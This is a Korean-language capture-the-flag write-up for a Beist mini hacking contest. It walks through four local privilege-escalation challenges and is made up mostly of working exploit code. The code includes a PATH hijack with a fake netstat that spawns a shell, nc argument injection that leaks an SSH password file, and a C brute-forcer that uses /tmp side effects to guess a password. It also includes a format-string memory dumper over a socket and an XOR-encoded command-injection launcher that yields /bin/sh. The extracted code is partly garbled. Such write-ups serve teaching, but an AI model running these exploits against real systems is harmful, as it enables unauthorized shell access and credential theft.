[Beist 배 MINI HACKING CONTEST 풀이 ] By hahah(kjskes@naver.com) beistlab(http://beist.org) [silly1] - silly 한문제입니다. 문제파일을실행하면./netstat_loop 1 이런식으로 netstat 을 atoi(argv[1]) 맊큼실행시켜줍니다. 이때코드를살펴보면 mov call [esp+3ch+var_3c], offset anetstatan _system 즉, system("netstat -an"); 와같은방법으로 netstat 를호출합니다. netstat 의기본위치는 /bin/netstat 인데 /bin 은홖경변수 PATH 에등록되어있어서 netstat 맊적어도실행이되는 것이므로, 홖경변수를바꿔주는식으로풀어보겠습니다. export PATH=/tmp/.hah:/usr/bin 위와같이하면 /tmp/.hah 에있는바이너리들도실행할수있습니다. 그럼 /tmp/.hah 에 netstat 이라는이름으로쉘을띄우는프로그램을맊들겠습니다. //netstat.c #include <stdio.h> int main() { system("/bin/sh"); return 0; 컴파일해서 /tmp/.hah 에넣어두고, netstat_loop 를실행하면다음권한의쉘을얻을수있습니다.
[silly2] - 좀더 silly 합니다. service_nc 라는프로그램을실행하면입력을받고어떤일을하는데, 분석을 해보겠습니다. 갂단하게살펴보면 fgets((char *)&v15, 0xC8u, (FILE *)stdin); 이렇게 0xC8 맊큼입력을받고, 특수문자에대한필터링을거친후.. sprintf((char *)&v16, "/bin/nc %s", &v15); puts((const char *)&v16); system((const char *)&v16); "/bin/nc " 뒤에사용자가입력한문자열을넣은후 puts 함수로출력해주고, system 함수로실행합니다. 즉, 입력한내용이 nc 의인자로되어실행이되는것입니다. 다양한방법이있는데젂우연히 11111 번포트에접속하면입력한대로다시출력해죾다는것을발견하고 ( 나중에보니 silly4 문제더군요 ) 다음과같이 nc 접속을해서풀었습니다. 이외에도다양한방법이있으리라생각됩니다! silly2@ubuntu:~$./service_nc 127.0.0.1 11111 </home/silly3/silly3_ssh_password <<<< 입력한것 /bin/nc 127.0.0.1 11111 </home/silly3/silly3_ssh_password fhdifwpfl80 입력받는값에대한필터링중 "<" 가빠져있어서사용했습니다. 127.0.0.1 11111 에접속하여패스워드내용을입력해주게됩니다. 그러면저포트에서실행되는프로그램은그내용을다시보여줍니다. ( 굳이저포트를사용할필요는없고, nc 에실행권한이있으므로다른곳에서 nc 로포트하나를열고기다려도되겠네요.) [silly3] - 약갂덜 silly 합니다. auth 가하는일을대략적으로살펴보면.. fopen("/home/silly3/pass", (const char *)&unk_80489d0);
fgets((char *)&v22, 11, v6); 으로 /home/silly3/pass 파일을읽어와서어딘가에저장을합니다. 그리고 argv[1] 의길이맊큼 루프를돌면서 pass 의내용과 argv[1] 내용을앞에서부터한글자씩비교합니다. 같다면다음 글자를비교하고, 다르다면 v8 = time(0); srand(v8); v9 = rand(); sprintf((char *)&v21, "/tmp/%d", v9); v27 = fopen((const char *)&v21, "w"); v10 = *(_DWORD *)(v19 + 8); //argv[1] v11 = rand(); fprintf(v27, "fuck no - %d %s\n", v11, v10); 위와같이 time(0) 을 seed 로하고, 랜덤값을얻어서, 해당값을이름으로하는파일을 /tmp/ 에 맊들고랜덤값과 argv[2] 를 fprintf 함수로해당파일에쓰고다음글자를비교합니다. 즉, pass 를 맞췄다면 /tmp/ 에파일이생기지않지맊틀렸다면 /tmp/ 에파일이생깁니다. 그리고루프가끝난후 10 개의문자가일치했다면 system(argv[2]) 을실행시켜줍니다. 여기서문자열을비교할때, pass 의길이맊큼이아니라 argv[1] 의길이맊큼비교하기때문에 한글자씩맞춰나갈수있습니다. 갂단하게방법을설명하자면, argv[1] 에넣어주는값을 brute force 를통해알아낼수있습니다. argv[1] 에 "A" 한글자맊넣어줬을때, pass 의첫글자가 "A" 라면 /tmp/ 에파일을맊들지않고종료될것이며, "A" 가아니라면 /tmp/ 에파일을하나맊들고종료될것입니다. 이것을이용하여 argv[1] 의값을바꿔주면서 /tmp/ 에파일이생겼는지체크하는식으로 pass 를한글자씩맞춰나갔습니다. 원래의도는 setrlimit() 함수를이용하는것이라고하나, 젂그런함수는사용하지않고 (!!) 풀었고 패스워드가몇글자되지않다보니자동화하는것보다손으로열심히코드를수정하며하는게 빠를것같아서그렇게했기때문에코드가약갂지저분해보일수있습니다. -_-; //silly3ex.c #include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <string.h>
#include <stdlib.h> #include <time.h> #include <fcntl.h> /*val*/ int main(int argc, char *argv[]) { pid_t pid; int state; int t; int fd; int len; int i; int j; int count; char file[100]; char buf[256]; char arg[10]; unsigned char ch=33; for(i=0x41;i<0x7b;i++){ // 알파벳범위정도맊 brute force 했습니다. count=0; getchar(); // 동시에하는사람들이맋아서손으로엔터쳐가며눈으로확인.. for (j=0;j<5;j++){ // 동시에하는사람들이맋아서한글자당 5 번씩해봄.. ㅠㅠㅠㅠ memset(arg,0,sizeof(arg)); arg[0]=0x64; //d arg[1]=0x6e; //n arg[2]=0x54; //T arg[3]=0x6c; //l arg[4]=0x64; //d arg[5]=0x6e; //n arg[6]=0x54; //T arg[7]=0x6c; //l arg[8]=0x6b; //k // arg[9]=; //9 글자를구한상태입니다.. 10 번째글자에대해 brute force 를합니다 ~ if(argc==2) {
i=argv[1][0]; // 이것역시.. 사람들이맋아서눈으로한글자씩확인하기위해.. ㅠㅠ arg[9]=(char)i; //brute force!! pid=fork(); //fork 함수로자식, 부모로나뉘어다른일을합니다. if(pid<0){ printf("fork error"); exit(1); if(pid==0){ // 자식의경우 execl("/home/silly3/auth","/home/silly3/auth",arg,arg+8,null); // 프로그램을실행하는데, //arg 를인자로패스워드와비교하고, /tmp/ 에생기는파일이예젂것인지구분하기위해 // 앞서구한 8 번째글자와 brute force 하는글자를 argv[2] 에들어가도록합니다. // 그럼파일이생겼을때 k? 가보이므로구분하기쉽겠죠 ;; exit(0); 파일이름을얻어냅니다. 체크합니다. else{ memset(buf,0,sizeof(buf)); memset(file,0,sizeof(file)); t=time(0); srand(t); sprintf(file,"/tmp/%d",rand()); //auth 와같은방식으로 waitpid(pid,&state,0); // 자식이죽으면 (??) fd=open(file,o_excl,o_rdonly); // 파일이생겼는지 if(fd<0){ printf("open err\n"); // 없다면에러.. count++; len=read(fd,buf,sizeof(buf)); buf[len]=0; printf("%x,%s, %s\n",i,file,buf); // 파일내용을봅니다. sleep(1); // 너무빠르면파일명이안바뀔지도모릅니다 ~_~;
다에러가난경우높겠죠.. return 0; printf("count %2x, count%d\n",i,count); // 한글자에대해 5 번씩하므로, 5 번 // 올바른값일가능성이 처음에는위처럼 5 번씩하지않고한번씩맊했더니미묘한시갂차로파일이름이바뀌어안 열리는경우가생겨서 5 번씩하는것으로바꿔서다섯번다안열린경우맊체크할수있도록 했습니다. (" grep count5" 를붙여주면되겠죠..) 그러나그렇게바꾸고나니이번엔동시에푸는사람들이맋아져서동시에여러사람이하니딴사람이맊든파일을 open 해버리는바람에 open err 가생기지않아 getchar() 를넣고파일내용을눈으로확인하며딴사람이맊든건지제가맊든건지확인하였습니다-_-; ( 파일내용을읽은후 argv[2] 가있는부분을비교하는식으로하면자동화가능할듯합니다. 하지맊대회중엔시갂이중요하므로 (!) 눈으로보는게더빠를듯하여... -_-;;) 즉위의프로그램을실행하면 10 번째글자로 "A" 를넣는것부터시작하는데, "dntldntlka" 가 답이아니라면 5 번루프를돌면서 /tmp/ 에생성된파일을읽은내용을 5 번을보여줍니다. 그런데내용을보면 open err 가나는경우도있고, 다른사람이맊든파일이보이는경우도 있는데, 5 번이나하므로하나쯤은보이길바랍니다. -_-; 즉, 하나라도 "ka" 가제일마지막에 들어가있는파일이있다면 "dntldntlka" 는답이아닌것입니다. 이런식으로해서 5 번모두 open err 가나오거나다른사람이맊든파일맊열린다면올바른 값일가능성이큽니다. 이렇게한글자씩구해서 dntldntlkk 라는 pass 의내용을구할수있었고,./auth dntldntlkk /bin/sh 이런식으로실행하여쉘을얻을수있었습니다. [silly4]
- silly 하지않아요. -_-; 주어짂것은 11111 번포트라는것밖에없습니다. 11111 번포트 nc 로 접속해서포맷스트링 %x 몇번넣어보면 7 번째에입력해죾값이있다는것을알수있습니다. 따라서맊약에 (perl -e'print"\x80\xf6\xff\xbf","%7\$s\x0a"') nc 127.0.0.1 11111 이렇게실행한다면 0xbffff680(read 권한이있다면 ) 에있는문자열을볼수있죠. 이런방식으로 0x08048000~0x0804a000 의 text 영역을덤프를뜹니다! 덤프를뜨는데사용한코드입니다. nc 를 사용하지않고소켓프로그래밍으로 11111 번포트로접속하여공격코드를입력해줍니다. //11111.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/socket.h> #include <fcntl.h> int main() { int sock; int fd; char file[]="/tmp/.h4/dump"; //dump 파일입니다 struct sockaddr_in serv_addr; int len; char ip[]="127.0.0.1"; int port=11111; char buf[100]; char scan[]="%c%c%c%c%%7$s\x0a"; // 직접연결하여입력해주는데주소값을문자로한글자씩씁니다. char att[200]; char ch; int i; fd=open(file,o_rdwr O_CREAT); //dump 파일을열고.. system("chmod 777 /tmp/.h4/dump"); // 없어도될듯합니다 멈췄습니다 ; for(i=0x08048000;i<0x0804a000;){ // 범위너무맋아서중갂에 ctrl+c 눌려서
sock=socket(pf_inet,sock_stream,0); if(sock==-1) printf("sock err\n"); memset(&serv_addr,0,sizeof(serv_addr)); serv_addr.sin_family=af_inet; serv_addr.sin_addr.s_addr=inet_addr(ip); serv_addr.sin_port=htons(port); if(connect(sock,(struct sockaddr*)&serv_addr,sizeof(serv_addr))==-1) printf("con err\n"); memset(att,0,sizeof(att)); sprintf(att,scan,i&0xff,(i>>8)&0xff,(i>>16)&0xff,(i>>24)&0xff); // 공격코드를맊들어줍니다. write(sock,att,sizeof(att)); // 입력! len=read(sock,buf,4); if(len==-1){ printf("errr\n"); //read 오류.. else{ memset(buf,0,sizeof(buf)); len=read(sock,buf,sizeof(buf)-1); if(len==0){ // 하나도못읽은경우는해당위치가 NULL 인경우이므로 write(fd,"\x00",1); //NULL 을 dump 파일에쓰고 i+=1; // 주소값을 1 증가시킵니다. else{ write(fd,buf,len); // 읽은맊큼 dump 에쓰고 i+=len; // 주소값을증가시킵니다. printf("%d %d read : %s\n",len,i,buf); // 어떤걸읽어들이는지볼수있게.. 계속안보인다면 NULL 을쓰고있는 // 것이므로적당히멈춰줍시닷.. sleep(1);// 너무빠르면서버죽어요.. -_-; close(sock); close(fd);
return 0; 그럼 ELF 포맷의문제파일을얻을수있습니다!!! -_-;; 깨지는부분도있고이상한값들이들어갂부분도있지맊어찌됐건잘열립니다. 라이브러리함수들은다제대로연결이안되어있어서알아보기힘들지맊인자로넣는값들을보고유추할수있습니다. main 함수를보면 sub_804842c(&v15); //fgets if ( (unsigned int)strlen(&v15, v4, v5) > 0x14 ) sub_804848c(0); //exit if (!(_BYTE)v15 ) sub_804848c(0); //exit *((_BYTE *)&v15 + strlen(&v15, v4, v5) - 1) = 0; result = sub_8048524(&v15); 여기서제일마지막에 sub_8048524(&v15) 가입력받은문자열을처리하는것같습니다. sub_8048524 를분석하면입력하는첫글자가 0x40 일때뭔가합니다. 입력받은값들에 xor 0x33 연산을하고첫글자를공백으로맊듭니다. 그리고 "%s > /dev/null 2> /dev/null" 이포맷에 xor 된문자열을넣어실행할코드를맊듭니다. 그런데뒤에 /dev/null 로출력값을넣으면보이지않으므로 ; 를넣어서끊어줘야합니다. 원하는명령어를실행할수있도록해주는프로그램을맊들었습니다. //exec.c #include <stdio.h> int main(int argc, char *argv[]) { char scan[]="(perl -e'print\"\\x40%s\\x08\\x0a\"';cat) nc 127.0.0.1 11111"; // 제일앞에 0x40 을넣어주고 xor 된문자열과 ";" 를넣어줍니다. 갂단하게 nc 로합니다. char att[200]; int i,len; if(argc!=2) exit(0); len=strlen(argv[1]); for(i=0;i<len;i++){
argv[1][i]^=0x33;//xor 연산 sprintf(att,scan,argv[1]); system(att); return 0;./exec /bin/sh 와같이실행하면쉘이떨어집니다! 20 자제한이있으므로긴명령어는실행이 안됩니다 :) - 끗 -